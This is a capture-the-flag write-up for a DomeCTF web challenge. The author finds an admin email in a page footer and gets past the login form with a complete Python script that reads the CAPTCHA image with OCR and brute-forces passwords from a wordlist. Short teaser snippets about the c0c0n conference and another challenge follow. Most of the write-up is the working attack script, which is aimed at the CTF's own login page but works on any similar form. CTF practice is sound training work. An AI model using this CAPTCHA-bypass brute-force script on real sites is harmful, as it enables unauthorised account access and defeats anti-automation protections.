Category: Web
Flag: Write your team name in /tmp/DOMECTF_BASE
Points: 250 bonus + 1 point for 5 minutes of securing flag.
To login to the application you need the username and password. As we don’t know the password and the username we have to search for it. Even though the page is fitted in full screen, we can scroll it and the footer have some information in which it mentioned an email id. We can consider it as the email of admin and fuzz for the password. As the form is provided with a captcha we have to write a script to break captcha and to run Fuzz.
import pytesseract
import mechanize
from BeautifulSoup import BeautifulSoup
try:
import Image
except ImportError:
from PIL import Image
def resolve(path):
captcha_text = pytesseract.image_to_string(Image.open(path))
return captcha_text
def submit(username, password):
filename = 'sample.png'
browser = mechanize.Browser()
html = browser.open('https://profile.domectf.in/login.php')
soup = BeautifulSoup(html)
image_tags = soup.findAll('img')
data = browser.open_novisit(image_tags[1]['src']).read()
save = open(filename, 'wb')
save.write(data)
save.close()
captcha = resolve(filename)
browser.select_form('login')
browser.form['username'] = username
browser.form['password'] = password
browser.form['captcha'] = captcha
browser.submit()
if browser.response().geturl() != "https://profile.domectf.in/login.php":
print(username)
print(password)
print(browser.response().geturl())
def file_read():
with open('path/to/passwords.txt', 'r') as file:
lines = file.read().splitlines()
return lines
if __name__ == '__main__':
lines = file_read()
for line in lines:
submit("[email protected]", line)
The 12th edition of c0c0n, a cybersecurity conference organised by Conglomerate of Government and the Industry, led by ISRA, The Society for the Po...
c0c0n is an annual international cybersecurity, data privacy and hacking conference organised by the International public-private partnership led b...
Category: Web Points: 150 points + bonus 50 From the first look we can find that it is an online store to buy sports products. And this m...